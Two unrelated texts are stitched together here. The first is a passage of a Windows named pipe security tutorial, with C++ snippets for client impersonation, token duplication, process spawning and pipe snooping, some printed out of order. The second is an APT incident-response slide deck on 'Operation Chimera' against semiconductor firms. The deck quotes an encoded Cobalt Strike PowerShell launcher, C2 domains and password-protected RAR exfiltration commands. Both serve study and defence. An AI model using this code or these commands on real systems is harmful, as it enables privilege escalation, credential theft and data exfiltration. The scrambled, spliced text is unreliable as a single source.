side of the pipe (and thereby clearing the buffer) before new data can be written to the
buffer. This is true for both, the nInBufferSize and nOutBufferSize. A buffer of size 0 could
thereby cause server delays.
Named Pipe Security
Once again we can make this chapter about how to set and control the security of a named pipe
rather short, but it’s important to be aware how this is done.
The only gear you can turn when you want to secure your named pipe setup is setting a Security
Descriptor for the named pipe server as the last parameter (lpSecurityAttributes) to the
CreateNamedPipe call.
If you want some background on what a Security Descriptor is, how it’s used and how it could look
like you’ll find the answers in my post A Windows Authorization Guide.
Setting this Security Descriptor is optional; A default Security Descriptor can be be set by
specifying NULL to the lpSecurityAttributes parameter.
The Windows docs define what the default Security Descriptor does for your named pipe server:
The ACLs in the default security descriptor for a named pipe grant full control to the
LocalSystem account, administrators, and the creator owner. They also grant read access to
members of the Everyone group and the anonymous account.
Source: CreateNamedPipe > Paremter > lpSecurityAttributes
SECURITY_IMPERSONATION_LEVEL
Description
SecurityAnonymous
The server cannot impersonate or identify the client.
SecurityIdentification
The server can get the identity and privileges of the
client, but cannot impersonate the client.
SecurityImpersonation
The server can impersonate the client’s security
context on the local system.
So by default Everyone can read from your named pipe server if you don’t specify a Security
Descriptor, regardless if the reading client is on the same machine or not.
If you connect to a named pipe server without a Security Descriptor set but still get an Access
Denied Error (error code: 5) be sure you’ve only specified READ access (note that the example
above specifies READ and WRITE access with GENERIC_READ | GENERIC_WRITE ).
For remote connections, note once again - as described at the end of the Named Pipe Messaging
chapter - that the network authentication protocol is negotiated between the client and
server through the SMB protocol. There is no way to programmatically enforce the use of the
stronger Kerberos protocol (you only could disable NTLM on the server host).
Impersonation
Impersonation is a simple concept that we’ll need in the following section to talk about attack
vectors with named pipes.
If you’re familiar with Impersonation feel free to skip this section; Impersonation is not specific
to Named Pipes.
If you’re not yet came across Impersonation in a Windows environment, let me summarize this
concept quickly for you:
Impersonation is the ability of a thread to execute in a security context different from the
security context of the process that owns the thread. Impersonation typically applies in a Client-
Server architecture where a client connects to the server and the server could (if needed)
impersonate the client. Impersonation enables the server (thread) to perform actions on behalf of
the client, but within the limits of the client’s access rights.
A typical scenario would be a server that wants the access some records (say in database), but
only the client is allowed to access its own records. The server could now reply back to the client,
asking to fetch the records itself and send these over to the server, or the server could use an
authorization protocol to prove the client allowed the server to access the record, or - and this is
what Impersonation is - the client sends the server some identification information and
allows the server to switch into the role of the client. Somewhat like the client giving its driver
license to the server along with the permission to use that license to identify towards other
parties, such as a gatekeeper (or more technically a database server).
The identification information, such as the information specifying who the client is (such as the
SID) are packed in a structure called a security context. This structure is baked deeply into the
internals of the operating system and is a required piece of information for inter process
communication. Due to that the client can’t make an IPC call without a security context, but it
needs a way to specify what it allows the server to know about and do with its identity. To control
that Microsoft created so called Impersonation Levels.
The SECURITY_IMPERSONATION_LEVEL enumeration structure defines four Impersonation Levels
that determine the operations a server can perform in the client’s context.
SECURITY_IMPERSONATION_LEVEL
Description
SecurityDelegation
The server can impersonate the client’s security
context on remote systems.
For more background information on Impersonation have a read through Microsoft’s docs for
Client Impersonation.
For some context around Impersonation have a look at the Access Tokens and the following
Impersonation section in my post about Windows Authorization.
Impersonating a Named Pipe Client
Okay, so while we’re on the topic and in case you’re not totally bored yet. Let’s have a quick run
down of what actually happens under the hood if a server impersonated a client.
If you’re more interested in how to implement this, you’ll find the answer in my sample
implementation here.
Step 1: The server waits for an incoming connection from a client and afterwards calls the
ImpersonateNamedPipeClient function.
Step 2: This call results in a call to NtCreateEvent (to create a callback event) and to
NtFsControlFile, which is the function executing the impersonation.
Step 3: NtFsControlFile is a general purpose function where its action is specified by an
argument, which in this case is FSCTL_PIPE_Impersonate.
The below is based on the open source code of ReactOS, but i think it’s fair to assume the Windows
Kernel Team implemented it in a similar way.
Step 4: Further down the call stack NpCommonFileSystemControl is called where
FSCTL_PIPE_IMPERSONATE is passed as an argument and used in a switch-case instruction to
determine what to do.
Step 5: NpCommonFileSystemControl calls NbAcquireExeclusiveVcb to lock an object and
NpImpersonate is called given the server’s pipe object and the IRP (I/O Request Object)
issued by the client.
Step 6: NpImpersonate then in turn calls SeImpersonateClientEx with the client’s security
context, which has been obtained from the client’s IRP, as a parameter.
Step 7: SeImpersonateClientEx in turn calls PsImpersonateClient with the server’s thread
object and the client’s security token, which is extracted from the client’s security context
Step 8: The server’s thread context is then changed to the client’s security context.
Step 9: Any action the server takes and any function the server calls while in the security
context of the client are made with the identify of the client and thereby impersonating the
client.
Step 10: If the server is done with what it intended to do while being the client, the server
calls RevertToSelf to switch back to its own, original thread context.
Attack Surface
Client Impersonation
Sooo finally we’re talking about attack surface. The most important attack vector based on named
pipes is Impersonation.
Luckily we’ve introduced and understood the concept of Impersonation already in the above
section, so we can dive right in.
Attack scenario
Impersonation with named pipes can best be abused when you got a service, program or routine
that allows you to specify or control to access a file (doesn’t matter if it allows you READ or WRITE
access or both). Due to the fact that Named Pipes are basically FILE_OBJECTs and operate on the
same access functions as regular files (ReadFile, WriteFile, CreateFile, …) you can specify a named
pipe instead of a regular file name and make your victim process connect to a named pipe under
your control.
Prerequisites
There are two important aspects you need to check when attempting to impersonate a client.
The first is to check how the client implements the file access, more specifically does the client
specify the SECURITY_SQOS_PRESENT flag when calling CreateFile ?
A vulnerable call to CreateFile looks like this:
Whereas a safe call to CreateFile like this:
By default a call without explicitly specifying the SECURITY_IMPERSONATION_LEVEL (as with the
later example above) is made with the Impersonation Level of SecurityAnonymous.
If the SECURITY_SQOS_PRESENT flag is set without any additional Impersonation Level
(IL) or with an IL set to SECURITY_IDENTIFICATION or SECURITY_ANONYMOUS you
cannot impersonate the client.
The second important aspect to check is the file name, aka. the lpFileName parameter, given to
CreateFile. There is an important distinction between calling local named pipes or calling remote
named pipes.
A call to a local named pipe is defined by the file location \\.\pipe\<SomeName> .
Calls to local pipes can only be impersonated when the SECURITY_SQOS_PRESENT flag is explicitly
set with an Impersonation Level above SECURITY_IDENTIFICATION. Therefore a vulnerable call
looks like this:
To be clear. A safe call to a local pipe would look like this:
This later call is safe even without the SECURITY_SQOS_PRESENT, because a local pipe is called.
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
// calling with explicit SECURITY_IMPERSONATION_LEVEL
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING,
SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION , NULL);
// calling without explicit SECURITY_IMPERSONATION_LEVEL
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING,
SECURITY_SQOS_PRESENT, NULL);
hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING,
SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION, NULL);
hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0,
NULL);
A remote named pipe on the other hand is defined by a lpFileName beginning with a hostname or
an IP, such as: \\ServerA.domain.local\pipe\<SomeName> .
Now comes the important bit:
When the SECURITY_SQOS_PRESENT flag is not present and a remote named pipe is
called the impersonation level is defined by the user privileges running the name pipe
server.
That means that when you call a remote named pipe without the SECURITY_SQOS_PRESENT flag,
your attacker user that runs the pipe must hold the SeImpersonatePrivilege
(SE_IMPERSONATE_NAME) in order to impersonate the client.
If your user does not hold this privilege the Impersonation Level will be set to
SecurityIdentification (which allows you to identify, but not impersonate the user).
But that also means that if your user holds the SeEnableDelegationPrivilege
(SE_ENABLE_DELEGATION_NAME), the Impersonation Level is set to SecurityDelegation and you
can even authenticate the victim user against other network services.
An important take away here is:
You can make a remote pipe call to a named pipe running on the same machine by
specifying \\127.0.0.1\pipe\<SomeName>
To finally bring the pieces together:
If the SECURITY_SQOS_PRESENT is not set you can impersonate a client if you have a user
with at least SE_IMPERSONATE_NAME privileges, but for named pipes running on the same
machine you need to call them via \\127.0.0.1\pipe\...
If the SECURITY_SQOS_PRESENT is set you can only impersonate a client if an Impersonation
Level above SECURITY_IDENTIFICATION is set along with it (regardless if you call a named
pipe locally or remote).
Misleading Documentation
Microsoft’s documentation about Impersonation Levels (Authorization) states the following:
When the named pipe, RPC, or DDE connection is remote, the flags passed to CreateFile to
set the impersonation level are ignored. In this case, the impersonation level of the client
is determined by the impersonation levels enabled by the server, which is set by a flag on
the server’s account in the directory service. For example, if the server is enabled for
delegation, the client’s impersonation level will also be set to delegation even if the flags
passed to CreateFile specify the identification impersonation level.
Source: Windows Docs: Impersonation Levels (Authorization)
Be aware here that this is technically true, but it’s somewhat misleading…
The accurate version is: When calling a remote named pipe and you only specify Impersonation
Level flags (and nothing else) to CreateFile then these will be ignore, but if you specify
Impersonation Flags alongside with the SECURITY_SQOS_PRESENT flag, then these will be
respected.
Examples:
Implementation
You can find an a full implementation in my sample code here. A quick run down of the
implementation is shown below:
// In the below call the SECURITY_IDENTIFICATION flag will be respected by the
remote server
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL,
OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, NULL);
/* --> The server will obtain a SECURITY_IDENTIFICATION token */
// In this call the SECURITY_IDENTIFICATION flag will be ignored
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL,
OPEN_EXISTING, SECURITY_IDENTIFICATION, NULL);
/* --> The server will obtain a token based on the privileges of the user running
the server.
A user holding SeImpersonatePrivilege will get an SECURITY_IMPERSONATION
token */
// In this call the Impersonation Level will default to SECURITY_ANONYMOUS and
will be respected
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL,
OPEN_EXISTING, SECURITY_SQOS_PRESENT, NULL);
/* --> The server will obtain a SECURITY_ANONYMOUS token. A call to
OpenThreadToken will result in error 1347 (0x543, ERROR_CANT_OPEN_ANONYMOUS)*/
// Create a server named pipe
serverPipe = CreateNamedPipe(
pipeName, // name of our pipe, must be in the form of \\.\pipe\
<NAME>
PIPE_ACCESS_DUPLEX, // The rest of the parameters don't really matter
PIPE_TYPE_MESSAGE, // as all you want is impersonate the client...
1, //
2048, //
2048, //
0, //
NULL // This should ne NULL so every client can connect
);
// wait for pipe connections
BOOL bPipeConnected = ConnectNamedPipe(serverPipe, NULL);
// Impersonate client
BOOL bImpersonated = ImpersonateNamedPipeClient(serverPipe);
// if successful open Thread token - your current thread token is now the
client's token
BOOL bSuccess = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE,
&hToken);
// now you got the client token saved in hToken and you can safeyl revert back to
self
bSuccess = RevertToSelf();
// Now duplicate the client's token to get a Primary token
bSuccess = DuplicateTokenEx(hToken,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
The result can be seen below:
There are some catches when you implement this on your own:
When you create a process with CreateProcessWithTokenW, you need to RevertToSelf before
calling CreateProcessWithTokenW otherwise you’ll receive an error.
When you want to create a window based process (something with a window that pops up,
such as calc.exe or cmd.exe) you need to grant the client access to your Window and
Desktop. A sample implementation allowing all users to access to your Window and Desktop
can be found here.
Instance Creation Race Condition
Named Pipes instances are created and live within a global ‘namespace’ (actually technically there
is no namespace, but this aids understanding that all named pipes live under to same roof) within
the Name Pipe File System (NPFS) device drive. Moreover multiple named pipes with the same
name can exist under this one roof.
So what happens if an application creates a named pipe that already exists? Well if you don’t set
the right flags nothing happens, meaning you won’t get an error and even worse you won’t get
client connections, due to the fact that Named Pipe instances are organized in a FIFO (First In First
Out) stack.
This design makes Named Pipes vulnerable for instance creation race condition vulnerabilities.
Attack scenario
The attack scenario to exploit such a race condition is as follows: You’ve identified a service,
program or routine that creates a named pipe that is used by client applications running in a
different security context (let’s say they run under the NT Service user). The server creates a
named pipe for communication with the client application(s). Once in a while a client connects to
the server’s named pipe - it wouldn’t be uncommon if the server application triggers the clients to
connect after the server pipe is created. You figure out when and how the server is started and
the name of the pipe it creates.
Now you’re writing a program that creates a named pipe with the same name in a scenario where
your named pipe instance is created before the target server’s named pipe. If the server’s named
pipe is created insecurely it will not notice that a named pipe with the same name already exist
TokenPrimary,
&hDuppedToken
);
// If that succeeds you got a Primary token as hDuppedToken and you can create a
proccess with that token
CreateProcessWithTokenW(hDuppedToken, LOGON_WITH_PROFILE, command, NULL,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
and will trigger the clients to connect. Due to the FIFO stack the clients will connect to you and you
can read or write their data or try to impersonate the clients.
Prerequisites
For this attack to work you need a target server that doesn’t check if a named pipe with the same
name already exists. Usually a server doesn’t have extra code to check manually if a pipe with the
same name already exists - thinking about it you would expect to get an error if your pipe name
already exists right? But that doesn’t happen because two named pipe instances with the same
name are absolutely valid … for whatever reason.
But to counter this attack Microsoft has added the FILE_FLAG_FIRST_PIPE_INSTANCE flag that can
be specified when creating your named pipe through CreateNamedPipe. When this flag is set
your create call will return an INVALID_HANDLE_VALUE, which will cause an error in a subsequent
call to ConnectNamedPipe.
If you’re target server does not specify the FILE_FLAG_FIRST_PIPE_INSTANCE flag it is likely
vulnerable, however there is one additional thing you need to be aware of on the attacker side.
When creating a named pipe through CreateNamedPipe there is a nMaxInstances parameter,
which specifies…:
The maximum number of instances that can be created for this pipe. The first instance of
the pipe can specify this value;
Source: CreateNamedPipe
So if you set this to ‘1’ (as in the sample code above) you kill your own attack vector. To exploit an
instance creation race condition vulnerability set this to PIPE_UNLIMITED_INSTANCES.
Implementation
All you need to do for exploitation is create a named pipe instance with the right name at the right
time.
My sample implementation here can be used as an implementation template. Throw this in you
favorite IDE, set in your pipe name, ensure your named pipe is created with the
PIPE_UNLIMITED_INSTANCES flag and fire away.
Instance Creation Special Flavors
Unanswered Pipe Connections
Unanswered pipe connections are those connection attempts issued by clients that - who would
have guessed it - are not successful, hence unanswered, because the pipe that is requested by the
client is not existing.
The exploit potential here is quite clear and simple: If a client wants to connect to a pipe that’s not
existing, we create a pipe that the client can connect to and attempt to manipulate the client with
malicious communication or impersonate the client to gain additional privileges.
This vulnerability is sometimes also referred to as superfluous pipe connections (but in my mind
that’s not the best terminology for it).
The real question here is: How do we find such clients?
My initial immediate answer would have been: Fire up Procmon and search for failed CreateFile
system calls. But I tested this and it turns out Procmon does not list these calls for pipes… maybe
that is because the tool is only inspecting/listening on file operations through the NTFS driver, but
i haven’t looked any deeper into this (maybe there is a trick/switch i didn’t know) - I’ll update if I
stumble across the answer…
Another option is the Pipe Monitor of the IO Ninja toolset. This tool requires a license, but offers a
free trial period to play around with it. The Pipe Monitor offers functionality to inspect pipe
activity on the system and comes with a few basic filters for processes, file names and such. As
you want to search for all processes and all file names I filtered for ‘*’, let it run and used the
search function to look for ‘Cannot open’:
If you know any other way to do this using open source tooling, let me know (/ 0xcsandker) ;)
Killing Pipe Servers
If you can’t find unanswered pipe connection attempts, but identified an interesting pipe client,
that you’d like to talk to or impersonate, another option to get the client’s connection is to kill its
current pipe server.
In the Instance Creation Race Condition section I’ve described that you can have multiple named
pipes with the same name in the same ‘namespace’.
If your target server didn’t set the nMaxInstances parameter to ‘1’, you can create a second named
pipe server with the same name and place yourself in the queue to serve clients. You will not
receive any client calls as long as the original pipe server is serving, so the idea for this attack is to
disrupt or kill the original pipe server to step in with your malicious server.
When it comes to killing or disrupting the original pipe server I can’t assist with any general
purpose prerequisites or implementations, because this always depends on who is running the
target server and on your access rights and user privileges.
When analyzing your target server for kill techniques try to think outside the box, there is more
than just sending a shutdown signal to a process, e.g. there could be error conditions that cause
the server to shutdown or restart (remember you’re number 2 in the queue - a restart might be
enough to get in position).
Also note that a pipe server is just an instance running on a virtual FILE_OBJECT, therefore all
named pipe servers will be terminated once their handle reference count reaches 0. A handle is
for example opened by a client connecting to it. So a server could also be killed by killing all its
handles (of course you only gain something if the clients come back to you after loosing
connection).
PeekNamedPipe
There might be scenarios where you’re interested in the data that is exchanged rather than in
manipulating or impersonating pipe clients.
Due to the fact that all named pipe instances live under the same roof, aka. in the same global
‘namespace’ aka. on the same virtual NPFS device drive (as briefly mentioned before) there is no
system barrier that stops you from connecting to any arbitrary (SYSTEM or non-SYSTEM) named
pipe instance and have a look at the data in the pipe (technically ‘in the pipe’ means within the
shared memory section allocated by the pipe server).
Prerequisites
As mentioned in the section Named Pipe Security the only gear you can turn when securing your
named pipe is using a Security Descriptor as the last parameter (lpSecurityAttributes) to the
CreateNamedPipe call. And that’s all that would prevent you from accessing any arbitrary named
pipe instance. So all you need to check for when searching for a target is if this parameter is set
and secured to prevent unauthorized access.
If you need some background on Security Descriptors and what to look for (the ACLs in the DACL)
check out my post: A Windows Authorization Guide
Implementation
When you found a suitable target there is one more thing you need to keep in mind: If you’re
reading from a named pipe by using ReadFile, you’re removing the data from the server’s shared
memory and the next, potentially legitimate client, who attempts to read from the pipe will not
find any data and potentially raise an error.
But you can use the PeekNamedPipe function to view the data without removing it from shared
memory.
An implementation snippet based on the my sample code could look like this:
// all the vars you need
const int MESSAGE_SIZE = 512;
BOOL bSuccess;
LPCWSTR pipeName = L"\\\\.\\pipe\\fpipe";
HANDLE hFile = NULL;
LPWSTR pReadBuf[MESSAGE_SIZE] = { 0 };
LPDWORD pdwBytesRead = { 0 };
LPDWORD pTotalBytesAvail = { 0 };
LPDWORD pBytesLeftThisMessage = { 0 };
// connect to named pipe
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING,
SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);
// sneak peek data
bSuccess = PeekNamedPipe(
hFile,
pReadBuf,
MESSAGE_SIZE,
pdwBytesRead,
pTotalBytesAvail,
pBytesLeftThisMessage
);
References
That’s about it, if you want to continue to dig into Named Pipes here are some good references to
start with:
Microsoft’s Docs about pipes at https://docs.microsoft.com/en-us/windows/win32/ipc/pipes
Blake Watts paper about Named Pipe Security at http://www.blakewatts.com/namedpipepap
er.html
My Sample C++ Implementation at https://github.com/csandker/InterProcessCommunication
-Samples/tree/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server | pdf |
CyCraft Proprietary and Confidential Information
Operation Chimera - APT Operation
Targets Semiconductor Vendors
C h u n g - K u a n C h e n , I n n d y L i n , S h a n g - D e J i a n g
CyCraft Proprietary and Confidential Information
Whoami
C.K Chen
► Senior Researcher at CyCraft
► Retired CTF Player – BambooFox Founder
► HITCON/HITB Review Board
► CHROOT member
SHANG-DE Jiang
► Security Researcher at CyCraft
► UCCU Hacker Co-Founder
Inndy Lin
► Security Researcher at CyCraft
► Reverse Engineering Hobbyist
► Presented in HITCON, ROOTCON
CyCraft
CyCraft is an AI company that forges the future of
cybersecurity resilience through autonomous systems and
human-AI collaboration.
CyCraft in MITRE ATT&CK Evaluation
CyCraft Takes Significant Alerting Lead in
MITRE ATT&CK® Evaluations’ Latest Round
Outline
Introduction
Case Study
•
A Company
•
B Company
Threat Actor's Digital Arsenal
Conclusion
CyCraft Proprietary and Confidential Information
Critical Incidents in Taiwan's Supply
Chain/Critical Infrastructure
ASUS Supply Chain Attack
TSMC Ransomware
ColdLock against CPC
CyCraft Proprietary and Confidential Information
Taiwan's Importance in the
Semiconductor Landscape
►With decades of development, Taiwan has established itself as a leading player in the
semiconductor industry. Some of the well-known leaders include TSMC and MTK
•
“Taiwan is set to become the largest and fastest-growing semiconductor equipment maker in the
world by increasing by 21.1 percent to reach US$12.31 billion.” -Taiwan News, July 2019
Cyberattack to semiconductor vendors
❖
Just like the TSMC ransomware, a cyberattack against semiconductor could
potentially
❖ Seriously impact Taiwan’s economy
❖ Affect the entire global supply chain
❖
In this report, we will show how IT attacks on semiconductor vendors can be just as
dangerous as an OT attack.
❖ Attack to OT - production line halt, immediately damage
❖ Attack to IT - leak important intelligence property, long-term damage
Large-scale APT attacks on
Semiconductor Industry
Between 2018 and 2019, we discovered several attacks on semiconductor vendors
Vendors located at the Hsinchu Science Park(HSP) were targeted
After our white paper was published, the received feedback revealed that more than 7
vendors were targeted by the same threat actor
Extensive attack: > 7 semiconductor vendors were attacked
The APT attacks on the important vendors were precise and well-coordinated. Aside from
the vendors themselves, their subsidiaries, and competitors were all targeted
Not a single point attack, but an attack on the entire industry
surface
CyCraft Proprietary and Confidential Information
Group Chimera
►As the activities, attack techniques,
and tactics were similar, we believe
this was the work of the same threat
actor
►Target: Semiconductor Vendors
►Malware:
Merged different Open
Source
Tools
(Dumpert
and
Mimikatz , CobaltStrike)
►C2:
C2
hosted
in
Public
Cloud
(Google App Engine, Azure)
►Goal: Steal Documents, Source code,
SDK of chip related projects
Investigation Overview
Investigation Period:
2018~2019
Investigated Vendors:
3+
Total Endpoints Analyzed:
30k
Today's Case Study
➢
The three vendors involved in the analysis currently have a leading global
position in their own market segments
➢
Due to the different investigation time points, the analytical perspective of
the attack campaign was different
A Company
• Our long-term partner. The long-
term monitoring allowed more
details of the attacker's activities
to be revealed.
• The detailed information enabled
us to track the root cause.
B Company
• One-time IR service. When the
investigation started, it was
already a long time after the
attacks happened.
• Highlighted the threat actor’s
long-term activities and what data
was leaked.
C Company
• Long-term partner with high
security capacity.
• Help us to deep investigate, get a
lot feedback from them
• Give us more information to
illustrate threat actors
Non-representative. Only for illustration purposes
In the following slides, every machine and username are de-identified,
not original names
A Company
Case A: Overview
➢
Activity date: 2019/12/09 ~ 2019/12/10
➢
15 endpoints and 6 user accounts were
compromised
➢ Note that all the names are de-identified
➢
Four malwares and eight C2 servers were
found
Cobalt Strike
➢
Disguised Cobalt Strike beacon as Google Update.exe
➢ VT search found nothing
➢ Injected payloads into other processes
➢
Found in two endpoints: Server-LAUREN & PC-SHENNA
Used Hosting Server for C2
➢
Network security devices had difficulty detecting the associated C2 servers, as they
were in the Google Cloud Platform.
•
Created backdoor which was disguised as Google Update.
•
Other cloud hosting services were also abused
Root Cause Analysis - PC-SHENNA
➢
With our Timeline Analysis, we found that the backdoor in PC-SHENNA was
implanted from Server-LAUREN
Server-
LAUREN
PC-
SHENNA
Attack was launched right before
employees began to get off work
Remote Execution Tools
schtasks
➢
The first Cobalt Strike backdoor was
located at NB-CLAIR, and was then
remotely copied to Server-LAUREN
➢
A valid account was used to invoke
Cobalt Strike via schtasks
WMIC
➢
Server-LAUREN
used
wmic
to
remotely execute various commands
in another endpoint to check if there
was an Internet connection
Applied benign program to achieve their malicious activities
Root Cause Analysis - Server-LAUREN
➢
Due to our new findings, additional information could be added to our
investigation graph
Server-
MELINA
Server-
SHANAE
Server-
LAUREN
PC-SHENNA
Root Cause Analysis - Server-LAUREN
➢
Server-LAUREN remotely used an archive tool to collect registry and ntds.dit in
Server-MELINA(DC) for offline breaking
NTDS.DIT Explanation
➢
Active Directory data was stored in the ntds.dit ESE database file. Two copies of
ntds.dit were present in separate locations on a given domain controller.
•
%SystemRoot%\NTDS\ntds.dit
•
%SystemRoot%\System32\ntds.dit
ntds.dit is the AD database, containing domain hosts and users information(e.g. ID,
name, email and password). As ntds.dit was encrypted, and the key was stored I the
SYSTEM registry, the adversary also needed to make a copy of the registry data.
Root Cause Analysis - NB-CLAIR
➢
Through correlation analysis, our AI investigation showed
that NB-CLAIR used Schedule Task to place malware to the
schedule tasks of Server-LAUREN
Server-
MELINA
Server-
SHANAE
Server-
LAUREN
PC-
SHENNA
schtasks
wmic
schtasks
NB-CLAIR
schtasks
Root Cause Analysis - NB-CLAIR
➢
In the NB-CLAIR timeline, we discovered six minutes before the scheduled task
execution, IP1 used RDP and User-01 to make a successful login
•
This is highly likely to be the root cause of the attack
Nightshift? Overtime?
Recon
➢
Several "net user" commands were executed for
recon purposes, and the results were saved to the
RecordedTV_lib.log
Data Exfiltration
➢
RECORDEDTV.MS was used to archive the stolen data for data exfiltration
•
Identical binaries were found in several machines, but under different names, e.g.
RECORDEDTV.MS, uncheck.dmp, and jucheck.exe
•
RAR software, had a one-byte discrepancy from the original version
➢
The same file was also found on other machines. Thus, it is likely to have been used
in past attacks
➢
Inserting malware in a location, where legal software is stored, seems to be a
characteristic tactic of Operation Chimera
Root Cause Analysis– IP1
➢
IP1 is a unscanned host and related to many accounts. It could be a shared
machine or a VPN host
➢
VPN can also be compromised. Never use VPN as your only line of defense
B Company
• Investigation Reason
• Statistic Summary
B Company : Overview
B company
compromise
B has business
cooperation
with C
company
B&C create a
bridge between
their networks
C discovers
anomaly
activities from
B
Asks us to
investigate
Time Period
# of Event
# of compromised endpoints
# of data leaks
# of malware
2018/8/7 ~ 2019/12/11
140k+
14
9
10
Powershell
➢
Fileless
•
10 endpoints, which included two
domain controllers
➢
The
powershell
script
executed
a
Cobalt Strike backdoor and was used
for process migration to other system
processes svchost.exe
powershell -nop -w hidden -encodedcommand
JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwB
uAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAE
EAQQBBAEEAQQBLAFYAVwBiAFcALwBpAE8AQgBEACsAMwBQAHcASwBYADQAVgAwAG8ASgBaADMAdABnAHQAZABWAFYAb
wBuAFEAQQBrAGwAbABKAGMAVwAyAGsAWABWAHkAUwBRAG0AdQBEAGcASgBkAFoAeQBtAGQATABmAC8ALwBTAFkAdgA1
AEoAYgAyAGIAawArADYAaQB4AFEAbABuAHMAdwA4AE0AOAA5ADQAUABKAE0AcABsAGMAVwBwAEYATQB5AFUAaABtAGQ
AUgBWAEoAeABSADQAVABQ
APT Attack
➢
Cobalt Strike was used to inject the malware into
the system, enabling the attacker to access the
system and communicate with a C2
•
C2: striking-pipe-253603.appspot.com,
msplatform-updates.azureedge.net, chrome-
applatses.appspot.com
Cyber Situation Graph
➢
Company already seriously hacked
➢
Difficult to manually investigate, needed help from A.I.
❖ 2018.11
❖ 2019.03
❖ 2019.06
❖ 2019.09
Hacker returns on a
quarterly basis to
collect new data.
❖ 2019.11, Deploy new weapon SkeletonKey Injector
❖ 2019.12, Harvest new endpoints
Archive Password
➢
The actor also used a RAR program
with innocuous file names, such as
RecordedTV.ms,
jucheck.exe
and vmware.log to archive and steal
the data of interest
➢
A similar scheme was utilized by the
attacker to archive the passwords they
used
c:\users\xxxx\libraries\RecordedTV.ms
a -m5 -
v71m –hpf**kyou.google.com11 vmlum-vss.log
vmlum-vmvss.log
C:\Windows\system32\cmd.exe /C
c:\users\xxxxxx\libraries\RecordedTV.ms a -m5 -r
–hpf**kyou.google.com11 vmlum-vmopt.log
“\\<Hostname>\personal\<Username>\<Product>-
Traning-v1.1.pptx" > vmlumss.log & dir vmlum-
vmopt*
Leaked File Name
➢
During our investigation, we made an inventory of the leaked data. Some of the
data is shown below:
➢
Attacker's intent was stealing intelligence property
➢
Business spy? State-sponsor attack to benefit a certain industry?
\\Users\<Account>\Project\Roadmap
\\Users\<Account>\Backup\Workspace
\\Users\<Account>\chip and SDK setting
\\Users\<Account>\<Productname> SDK
Installation guide.pdf
Actors' Digital Arsenal
CyCraft Proprietary and Confidential Information
Actors' Digital Arsenal
►Cobalt Strike Beacon
►WinRAR
►SkeletonKey Injector
►Winnti Backdoor
Cobalt Strike Beacon
CyCraft Proprietary and Confidential Information
Cobalt Strike Beacon
►Cobalt Strike Beacon was used as main backdoor
►Overwrite GoogleUpdate.exe for persistency
►Identical file was discovered in 3+ companies
►C2
► chrome-applatnohp.appspot.com
► ussdns04.heketwe.com
► ussdns02.heketwe.com
► ussdns01.heketwe.com
CyCraft Proprietary and Confidential Information
Suspicious R-W-X Memory
►Our product detected suspicious memory block
CyCraft Proprietary and Confidential Information
Hybrid Payload: PE as Shellcode
►"MZ" signature can be decoded as "pop r10" under x64 architecture
►"dec ebp; pop edx" under x86 architecture
►At offset 0x1791c is a shellcode-like function called "reflective loader"
►0x56A2B5F0 is the hash value of "ExitProcess"
Locate address of itself, and use it as first argument (rdi)
Compuate address of reflective loader and execute it
CyCraft Proprietary and Confidential Information
Malicious Process
Injection Strategy: Named Pipe
CobaltStrike
Beacon Module
Target Process
Stager Shellcode
Real Payload
Execute
Spawn
Execute
WinRAR
CyCraft Proprietary and Confidential Information
WinRAR
►They use rar.exe to compress and encrypt the files to be stole
►There's a folder named "RecordedTV.library-ms" under same path
CyCraft Proprietary and Confidential Information
Mutated rar.exe
►The file was uploaded to VirusTotal in 2009
►It's rar.exe from WinRAR 3.60b8 but different from original one
►Only 1byte was different, but we've confirmed that was not a crack
►This patch may cause the program crash
►Hypothesis 1: Change file hash to avoid detection
►Hypothesis 2: Bit flip during copy
Patch diff (before / after)
Disassembly of patch
SkeletonKey Injector
CyCraft Proprietary and Confidential Information
SkeletonKey Injector
►A new malware combined "dumpert" and "mimikatz"
►"mimikatz" is a well-known hacking tool
⚫
Most people use it to dump Windows credentials, but its capability is more than that
►"dumpert" is a tool to dump lsass.exe memory stealthily
CyCraft Proprietary and Confidential Information
Dumpert
►Made by a security company called Outflank
►Dump lsass.exe stealthy via direct system call
►Windows system call numbers changed from release to release
►DLL export function is the only stable interface
►That's why Windows shellcode always needs to locate DLLs in memory
CyCraft Proprietary and Confidential Information
Dumpert: Implementation
►Use ntdll!RtlGetVerion to determine Windows version
►Load different syscall function for different version
►Bypass any user-space hook
CyCraft Proprietary and Confidential Information
SkeletonKey
►APT malware discovered by DELL Secureworks in 2015
►Implants a backdoor password to domain controller
►The original password was still valid, wrong password still got rejected
►Inject code into lsass.exe process to alter authentication routine
CyCraft Proprietary and Confidential Information
Impact of SkeletonKey Injector
►No need to use administrator credentials for lateral movement
►It leaves nearly no clue, only logon success events
►You must reboot domain controller to clean the SkeletonKey
►We've observed some other attack that using modified mimikatz
Winnti Backdoor
CyCraft Proprietary and Confidential Information
Strange Network Tool: baseClient.exe
►We thought that was a network probing tool
CyCraft Proprietary and Confidential Information
Winnti Backdoor
